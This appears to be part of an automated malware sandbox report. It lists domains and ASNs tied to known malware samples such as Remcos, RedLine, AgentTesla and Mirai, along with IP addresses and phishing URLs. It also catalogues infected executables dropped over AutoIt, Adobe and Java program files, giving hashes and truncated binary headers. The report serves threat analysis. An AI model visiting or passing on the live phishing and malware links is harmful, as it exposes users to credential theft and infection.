	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	54.244.188.177
vjaxhpbji.biz	SetupRST.exe	Get hash	malicious	Unknown	Browse	82.112.184.197
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	82.112.184.197
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	82.112.184.197
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	82.112.184.197
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	82.112.184.197
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	82.112.184.197
xnxvnn.biz	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	13.251.16.150
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	13.251.16.150
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	13.251.16.150
ytctnunms.biz	SetupRST.exe	Get hash	malicious	Unknown	Browse	3.94.10.34
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.94.10.34
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	3.94.10.34
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	3.94.10.34
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	3.94.10.34
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	3.94.10.34
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	3.94.10.34
uaafd.biz	SetupRST.exe	Get hash	malicious	Unknown	Browse	3.254.94.185
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	3.254.94.185
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	3.254.94.185
	NEOM_SUPPLIER_EOI&QUESTIONNAIR_FORM_SHEET.PDF.EXE	Get hash	malicious	AgentTesla, RedLine	Browse	3.254.94.185
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	3.254.94.185

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	http://bigfoot99.com	Get hash	malicious	Unknown	Browse	54.82.26.76
	SetupRST.exe	Get hash	malicious	Unknown	Browse	44.221.84.105
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://web-login.malwarebouncer.com/XTUJCUERyUUI1U0FNNzZXQUJ5MHZQSmdBM1hZSE5mcVI4VzQ0aS9zTXBrOTY4enJacHgzQ2x0Mlp5cnkzRUlDSlBNV1BkTnNEaWdmSXJJTW1LZlFSWmhoNy83YnI5Y3pVVjR4ZmVXd3pKVkczLzBqTllIelpxaHo1MEJiZUc1cFJiZTM2akJiQlN2U1pBSDRUUld2ZVhJRmpPemZadmJNTFNiNi9rYmcrQ0tIUi9Kc0VzMmc0bWJ2bTV6U3N1bFQvbUREN2ZuYUZLY29ITjZDdEtnTEQtLSswcXR3ODBibTF1cUxEQ3ktLXprOHNld0xDdERQRHRVQXBmRG5pakE9PQ==?cid=2255119917	Get hash	malicious	HTMLPhisher	Browse	52.72.176.27
	https://ascot.auditboardapp.com/task-redirect/4113?source=email&CTA=taskTitleLink&notificationId=044e55a3-481a-4a33-91c7-abbaf803b1d7&projectId=367&taskId=4113&notificationType=WS-task-submitted	Get hash	malicious	Unknown	Browse	44.196.125.45
	https://shared.outlook.inky.com/link?domain=ctrk.klclick.com&t=h.eJx1zT1vwjAUheG_gjyX2E4ItpkoQgJlqGgUqWNlGzu1cvMh-2ZAFf8dJUO37s857y-ZI5DDhvwgTulAqcXYZR1YCLbL7NhToIxX76K5FNdzw9mtvtQf1dfts2rq0zcjbxvSLfs2mKgBddyaOYXBpbS1egqogcbRRXRw_CPGrs--9LkSd--5LbksuVHGi72WO6WkZCKnXORqLwvBimxXLiW3ljAAuMexnbDXg25d7wZMI8wYxiEtzwu9r_R_8nwBLatRZw.MEYCIQCSahzZW_4sDNrHIm-tqOS-MfCLNun8fj_Bxq7Zj7FBvQIhAKVsQPfH8EnP8IAulYo78COUXm3bMhbNANS-wTC8S6QO#bW1vc2VyQHNreWxpbmUtaG9sdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	52.7.146.246
	Sars Urgent Notice.pdf	Get hash	malicious	Unknown	Browse	23.22.254.206
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	54.12.106.229
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	3.84.59.106
CSCUS	SetupRST.exe	Get hash	malicious	Unknown	Browse	165.160.13.20
	arm.elf	Get hash	malicious	Unknown	Browse	128.114.186.151
	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	165.160.13.20
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	165.160.13.20
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	165.160.13.20
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	165.160.15.20
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	165.160.13.20
AMAZON-02US	http://bigfoot99.com	Get hash	malicious	Unknown	Browse	54.247.166.172
	SetupRST.exe	Get hash	malicious	Unknown	Browse	18.141.10.107
	bot.arm5.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	34.249.145.219
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	https://docs.google.com/drawings/d/14Q1EGmG0TWb0poSuSYwhNHZWOm-kG4Jlnk5Hg076lVI/preview?pli=132E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWlXEloAdV6HX14O32E7OVeVm3Yu5P8NzksOSE1huGfymTeBDpSWl	Get hash	malicious	Mamba2FA	Browse	18.245.31.89
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225
	rpurchasyinquiry.exe	Get hash	malicious	FormBook	Browse	52.60.87.163
	https://gofile.io/d/IAr464	Get hash	malicious	Phisher	Browse	45.112.123.225
	https://gofile.io/d/IAr464	Get hash	malicious	Unknown	Browse	45.112.123.225

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1508864
Entropy (8bit):	4.879313658335004
Encrypted:	false
SSDEEP:	24576:szCAR0ic/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:sCAYLNiXicJFFRGNzj3
MD5:	EFB1502CF1CAC9DD47758133205A1D6D
SHA1:	DC89846E3FAC9A922F5A659188BE9C2C0812DF46
SHA-256:	B3D2A5C6AF475833EF605F3C21ABC10A757AA8BE84110DDF73C5ED555A5F2498
SHA-512:	5DBA0747AB67C0EFB7C6447CD53B2D9EE9822CA6B68C0FA444566A6401773C102FA5019F1487E20B8F7F0E95729DC7FDE1D7B26D8F9F9333C7E35A02A9C8522E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@.................................#v......................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....`...p.......f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1450496
Entropy (8bit):	4.821235888243559
Encrypted:	false
SSDEEP:	24576:5CbKgB/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:ULNiXicJFFRGNzj3
MD5:	3F9408CDCAAF94DEE563BB33AC84537C
SHA1:	B3BB9321668D2101810F2BB37BB90522C91E146E
SHA-256:	EC1671F3AEB2D508CB7F6F012ACE39D0BC2F550F9A04819602E7E48B48DD9CAA
SHA-512:	4F731E3043CA2DB44E6FA6E772ADB396A2FEC6FD0D8C89C90DF46592E413104E5719EC8FE796FC1BB5F4696E350AEECD10700CD8DE6E2BCEA45595DF9D9E873A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@...........................-.............................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...p...`.......r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1469952
Entropy (8bit):	4.819280622695143
Encrypted:	false
SSDEEP:	24576:kKdHo/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xdILNiXicJFFRGNzj3
MD5:	2BAA1B9CBEB6FE4B472878C72334A920
SHA1:	70EE144677FC3008C7887C9D89C4F8950CB2B94D
SHA-256:	9ACDEC80707A4504E16E4A89CAB2C25BD32A8F9CEEAA52423C189B97D684937C
SHA-512:	C2C54C81DD8E6F8D377D31DD848F25132BDE8571691A86AF8D5FEADA45DDC0C02D11C1308A5B46A3A4F2CC97BC6459FCFF90CE02EDF792D69ABC4C3E908E3E99
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@.............................0.......$.... .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...`..........................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.644273634751725
Encrypted:	false
SSDEEP:	49152:WK0eqkSR7Xgo4TiRPnLWvJALNiXicJFFRGNzj3:WK0pR7Xn4TiRCvJA7wRGpj3
MD5:	4724B2E5C75F0892491949209A88AAC8
SHA1:	D2A90C77FA10E7AD1CA1D1D696A5B21E23E44596
SHA-256:	F4481C875E51C648D42533E6E7BA471E7F484399D618DE45D624D55E437D6D3E
SHA-512:	A1C63E1B000B427646CEEB0E31B363E575A9A429E3BAA646CCC8C8822D782CD3B5C7272AF13E92B4FDA9C12843DC927FB179B45B67AB497BE179333B311CCDFC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@...........................".......!..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.562603341825506
Encrypted:	false
SSDEEP:	49152:JfYP1JsEDkSR7Xgo4TiRPnLWvJALNiXicJFFRGNzj3:5YPBR7Xn4TiRCvJA7wRGpj3
MD5:	079BAA2941330ABB4CCAA54C4D5A6043
SHA1:	FC3386ADA629811074A731954359CD13FF8E757B
SHA-256:	06AE397338BFA1A291C2A0F802C46976B008E570CBADC0A4E5B42AB65CECA536
SHA-512:	4D7F9B7C8360779BF7328182D9E816FD06E2CE0D00BF93F660E87DDD52B7998897B65B6AE27D5E8227D87BA58C76ED4C338FC1619D3087C66A0FBB933617A087
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$.....D.$... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1400832
Entropy (8bit):	4.6565601801305325
Encrypted:	false
SSDEEP:	24576:mYUckn6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:mZckn6LNiXicJFFRGNzj3
MD5:	2DB099C6A110E8CD79A2BC7F46259429
SHA1:	FEC4FA1D73A71D643D122E6847DA93D95180475E
SHA-256:	E5CA2FDD83840051B29730504660D085D3B30D75B831D1344D7CF76194F6C4D9
SHA-512:	C87C400122D76811E85AA85226B59A87FECC7B454E64443F37439E9BB815BD1312C3F73BA05632B1FEC0F97D0164A1113DE1CBCE79A760C422704AA52E986C42
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................P .....G/.......................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...p..........................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.161593077257909
Encrypted:	false
SSDEEP:	49152:7+iAqSPyC+NltpScpzbtvpJoMQSq/jrQaS0LNiXicJFFRGNzj3:ZSktbp67wRGpj3
MD5:	64BB6B79282579232C646625DAD60F8C
SHA1:	476B51803D456BB6862A7830FF8F1947EB451BBB
SHA-256:	9E292C65058D419274C39EA3E15607A441E6ED88EA4BB4B50575F960EB121E4C
SHA-512:	98A3F09E474A88AB1AC21979E9D0AD49D7F531AADC730081A42DA9E17A9295C0CF6C71427EBC7493C7648B99B7A24C904035FD4CB858BC867EDE50CC3A600406
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.....................................o.... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.091294047810581
Encrypted:	false
SSDEEP:	49152:JGSXoV72tpV9XE8Wwi1aCvYMdVluS/fYw44RxLjLNiXicJFFRGNzj3:d4OEtwiICvYMRfD7wRGpj3
MD5:	BF1B290FCE99CD25FA653BAFBA0510A3
SHA1:	BFAA8CA06902A0AC197956F3D4BCD93DAF6FDE51
SHA-256:	7DC6ED68D93F9EC925701CC4663634DE6A2AC4DB6E91FD87177EAAC5EB8A26E3
SHA-512:	76B94B2B5F36BC8E35FB654E530243CCD7F0497F89DAFD881011EA83BB7AB2713EA38B26F8699399CE70192DC4E362321547FC6C1D87E8DFF02C98DEFBEBB3A4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-......~-.............................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1641472
Entropy (8bit):	5.0793566651380155
Encrypted:	false
SSDEEP:	24576:gAMJR+3kMbVjhs/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:hi+lbVjhsLNiXicJFFRGNzj3
MD5:	8DE05C7A59091AB8240A6DC246620747
SHA1:	ACA54533563F3CF9C2D6BABCB1010FE4BE6C1DA5
SHA-256:	CFAAB396943383F31A22FEBBE333CF90E7F8BF132B3DA6C3C038236205147EA7
SHA-512:	D0BD792BDB497F3256B0CAC1E8807CEAA0C8DB6CC21CF7E9104EE5981BB78852D4615786FDBB8DCCCB938B653F22C15FA74932FF1E2C792D5AF78238DC52134A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@.......................... $.....R........................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...............<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1445888
Entropy (8bit):	4.815247094760056
Encrypted:	false
SSDEEP:	24576:7xGBcmlY/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:1Gy+YLNiXicJFFRGNzj3
MD5:	828741995F05BE2FD6B071628F96F6B9
SHA1:	7F21CCC1B2A924233B45A9D604E34EA233ECB037
SHA-256:	166C97DA0D7C996606139D0F32FE0989F7CD7D746EBF73EAC872214670C450C6
SHA-512:	ECBA401716996EC0076EF928A0A5581BFEBE48834FBF992A32A725C20C3D71AE8AC501E2CA80E9ED834B18D76A0E35506B3C88CA88537EE98403EF0B2EC9FCB9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@...........................!.....D.......................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...p...........`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1800192
Entropy (8bit):	5.306024821113753
Encrypted:	false
SSDEEP:	24576:A0vHymLj8trn3wsq/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Blj4rgsqLNiXicJFFRGNzj3
MD5:	E5D374EDFD095DF7A4B1BB8CA8EDEC51
SHA1:	FBBB997878A6BFEF7F5F33483B966386A7260BCF
SHA-256:	31B3050433166DC90EDFDA4568AD3E04125FB3B7F020327EC291E34C6E34B392
SHA-512:	67B1CAFB282A90B6E9010AF7B40F0C5A406F4001FEF02B0C11077394AD3DB5C959045300FDED43E1642399A796A4BC3B2A2EB4268A409234532CF92F007C4169
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................p&.....R.......................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.273995845458764
Encrypted:	false
SSDEEP:	49152:N4i0wGJra0uAUfkVy7/ZTLNiXicJFFRGNzj3:NN0wGJrakUQy17wRGpj3
MD5:	4FA8A73B5D45AC3C4905698DE5BEC59F
SHA1:	CBD587BCFD22EF8D5FDF12D1B27C0AB4CDECE130
SHA-256:	B32C632C903FDC55653A1EC1CA1D9AE9E054FB7C0373AFA12FA780227574F4F8
SHA-512:	257CBC674AE54091062F659846597792DBE2E89B56D3F5733583B832381A6740E8758D45E44C227D9E66D6342001E628E6800EC3E637414CDEEE3CD0B14E92C0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@.............................................................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.441620675796441
Encrypted:	false
